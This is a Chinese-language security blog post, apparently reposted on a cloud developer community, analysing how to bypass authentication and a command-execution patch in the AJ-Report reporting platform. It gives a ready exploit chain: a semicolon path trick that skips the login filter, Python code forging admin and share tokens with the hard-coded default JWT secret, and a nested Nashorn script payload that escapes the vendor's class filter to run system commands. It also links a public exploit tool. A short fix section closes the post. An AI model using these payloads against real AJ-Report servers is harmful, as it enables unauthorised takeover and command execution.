AJ-REPORT全新鉴权及远程命令修复绕过分析

举报
亿人安全 发表于 2024/12/31 23:29:39 2024/12/31
【摘要】 朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把“亿人安全“设为星标”,否则可能就看不到了啦原文由作者授权,首发在先知社区https://xz.aliyun.com/t/14460TL;DR前几天在公众号看到AJ-Report未授权远程命令执行,这个洞还挺通杀的。今天看了下命令执行似乎已经修复了,但是这里的patch可以绕过。另外最关键的TokenFilter中的鉴权绕过漏洞没修,...

朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把“亿人安全设为星标”,否则可能就看不到了啦


原文由作者授权,首发在先知社区

https://xz.aliyun.com/t/14460

TL;DR

前几天在公众号看到AJ-Report未授权远程命令执行,这个洞还挺通杀的。今天看了下命令执行似乎已经修复了,但是这里的patch可以绕过。另外最关键的TokenFilter中的鉴权绕过漏洞没修,其实鉴权修复了也会有默认key导致鉴权绕过的问题。文末给出了利用工具,实测好用。

漏洞分析

鉴权绕过

这个系统的接口绝大部分都需要登陆,需要绕一下。

鉴权逻辑在TokenFilter

图片


经典通过request.getRequestURI()拿到uri,后面如果uri包含swagger-ui直接放行。

因为是拿的URI,没有参数信息所以没法用?swagger-ui绕。

但可以用;swagger-ui绕过,因为parsePathParameters:950, CoyoteAdapter (org.apache.catalina.connector)这里会取分号作为pathParamStart

图片


pathParamEnd这里会取/作为结尾。最后截断中间的字符串,也就是说/a;b/c最终会解析为/a/c

图片

所以用/dataSetParam;swagger-ui/verification就能请求到后端接口了。

图片


另一处鉴权绕过(默认key)

如果swagger-ui放行那里被修复了怎么办呢?可以看到后续会校验token

图片


校验token类也是安吉自己写的,给jwt payload加了四个key-value pairs


public String createToken(String username, String uuid, Integer type, String tenantCode) {
    String token = JWT.create().withClaim("username", username).withClaim("uuid", uuid).withClaim("type", type).withClaim("tenant", tenantCode).sign(Algorithm.HMAC256(this.gaeaProperties.getSecurity().getJwtSecret()));
    return token;
}
public String getUsername(String token) {
    Claim claim = (Claim)this.getClaim(token).get("username");
    return claim == null ? null : claim.asString();
}

重点来了,通过this.gaeaProperties.getSecurity().getJwtSecret()拿到密钥。

jwt密钥在GaeaProperties$Security类里,而setJwtSecret方法没有被调用过,因此key是默认的。

图片

伪造jwt即可。


def getFakeToken():
    payload = {
        "type": 0,
        "uuid": "627750b8be86421d94facec7e4dba555",
        "tenant": "tenantCode",
        "username": "admin"
    }
    fakeToken = jwt.encode(payload,'anji_plus_gaea_p@ss1234',algorithm='HS256')
    return fakeToken

通过校验。

图片


光伪造token还不够。后面还有个登陆缓存验证,缓存逻辑具体可参考/accessUser/login路由逻辑。token的时效是1小时,如果远程一小时内没有admin

图片


但是看到这里出现了转机,接下来会校验shareToken,如果reportCodeList.stream().noneMatch(uri::contains),也就是说uri包含reportCode的话就返回false。而shareToken是从Share-Token请求头取的。


List<String> reportCodeList = JwtUtil.getReportCodeList(shareToken);
if (!uri.endsWith("/reportDashboard/getData") && !uri.endsWith("/reportExcel/preview") && reportCodeList.stream().noneMatch(uri::contains)) {
    ResponseBean responseBean = ResponseBean.builder().code("50014").message("分享链接已过期").build();
    response.getWriter().print(JSONObject.toJSONString(responseBean));
    return;
}

再看一下shareToken签名,密钥同样硬编码。

图片



shareToken通过以下方式伪造:


def getFakeShareToken():
    payload = {
        "shareCode": 1,
        "reportCode": "/", #通用性
        "exp": 4070880000,
        "iat": 1715402146,
        "sharePassword": 1
    }
    fakeShareToken = jwt.encode(payload,JWT_SECRET,algorithm='HS256')
    return fakeShareToken

伪造完shareToken就可以访问接口了。

图片

nashorn引擎执行表达式绕过

漏洞在\src\main\java\com\anjiplus\template\gaea\business\modules\datasetparam\controller\DataSetParamController.java中的/verification路由,可以看到会调用verification方法。

图片


跟进verification方法,该方法调用了engine.eval

图片


engine针对CNVD-2024-15077做了PATCH

图片


看下diff,加了ClassFilter,过滤了命令执行的三个类。

图片

不太了解这个防御逻辑是啥,先尝试打断点看看是什么逻辑:


图片

到这里有个classFilter。调了个寂寞,还是看看怎么ban掉类的逻辑吧。

图片

先用原版payload打一下,简单解释下,流传在网上的payload定义了verification函数是因为执行完js后会调用js中的verification函数,随后将执行结果返回。verification函数就是常规的调用java.lang.ProcessBuilder('whoami').start()执行命令。


function verification(data){var se= new javax.script.ScriptEngineManager();var r = new java.lang.ProcessBuilder('whoami').start().getInputStream();result=new java.io.BufferedReader(new java.io.InputStreamReader(r));ss='';while((line = result.readLine()) != null){ss+=line};return ss;}

执行失败,提示找不到这个类。

图片


打异常断点看调用栈:


classNotFound:162, NativeJavaPackage (jdk.nashorn.internal.runtime)
invokeStatic_L_V:-1, 282828951 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 1395859879 (java.lang.invoke.LambdaForm$BMH)
dontInline:-1, 1043162593 (java.lang.invoke.LambdaForm$reinvoker)
guard:-1, 1912131086 (java.lang.invoke.LambdaForm$MH)
linkToCallSite:-1, 23493645 (java.lang.invoke.LambdaForm$MH)
verification:1, Script$Recompilation$4$27A$\^eval\_ (jdk.nashorn.internal.scripts)
invokeStatic_L3_L:-1, 246550802 (java.lang.invoke.LambdaForm$DMH)
invokeExact_MT:-1, 664302677 (java.lang.invoke.LambdaForm$MH)
invoke:639, ScriptFunctionData (jdk.nashorn.internal.runtime)
invoke:494, ScriptFunction (jdk.nashorn.internal.runtime)
apply:393, ScriptRuntime (jdk.nashorn.internal.runtime)
callMember:199, ScriptObjectMirror (jdk.nashorn.api.scripting)
invokeImpl:386, NashornScriptEngine (jdk.nashorn.api.scripting)
invokeFunction:190, NashornScriptEngine (jdk.nashorn.api.scripting)
verification:106, DataSetParamServiceImpl

都是匿名函数,还是看文档吧。

经过一番检索发现此处针对nashorn的安全过滤是JEP202:https://openjdk.org/jeps/202。

Provide a Java class-access filtering interface, ClassFilter, that can be implemented by Java applications that use Nashorn.
提供一个 Java 类访问过滤接口 ,ClassFilter可以由使用 Nashorn 的 Java 应用程序实现。


Nashorn will query a provided instance of the ClassFilter interface before accessing any Java class from a script in order to determine whether the access is allowed. This will occur whether or not a security manager is present.
Nashorn 将在从脚本访问任何 Java 类之前查询提供的接口实例ClassFilter,以确定是否允许访问。无security manager是否存在,都会发生这种情况。

A script should not be able to subvert restrictions by a class filter in any way, not even by using Java's reflection APIs.
脚本不应该能够以任何方式破坏类过滤器的限制,即使使用 Java 的反射 API 也不行。

如果存在类过滤器,即使不存在security managerNashorn 也不让你用反射。如果反射可用那么使用类过滤器就没有意义了,因为可以使用反射来绕过类过滤器。尝试了一下反射确实不行。

不过参考JEP290大概猜到JEP202也(只)是会过滤类,而不是把命令执行的类阉割了。

所以直接用套娃的方式绕就行,在里面再new一个ScriptEngineManager,然后再eval就行。

function verification(data){var se= new javax.script.ScriptEngineManager();var r = se.getEngineByExtension(\"js\").eval(\"new java.lang.ProcessBuilder('whoami').start().getInputStream();\");result=new java.io.BufferedReader(new java.io.InputStreamReader(r));ss='';while((line = result.readLine()) != null){ss+=line};return ss;}

执行命令:

图片

别的路由

其实/dataSet/testTransform路由也会调用到engine.eval,但是没有回显。有兴趣的师傅可以看一下,这个接口的逻辑是执行完表达式发起一个http请求,返回的是httpresponse

图片



修复

主要问题在鉴权而不是 engine.eval , 应该使用 reqeust.getServletPath() 获取 URI,或者干脆把 swagger-ui 放行逻辑那里删掉。

其次需要修改jwt默认密钥。

利用工具

https://github.com/yuebusao/AJ-REPORT-EXPLOIT

【声明】本内容来自华为云开发者社区博主,不代表华为云及华为云开发者社区的观点和立场。转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息,否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。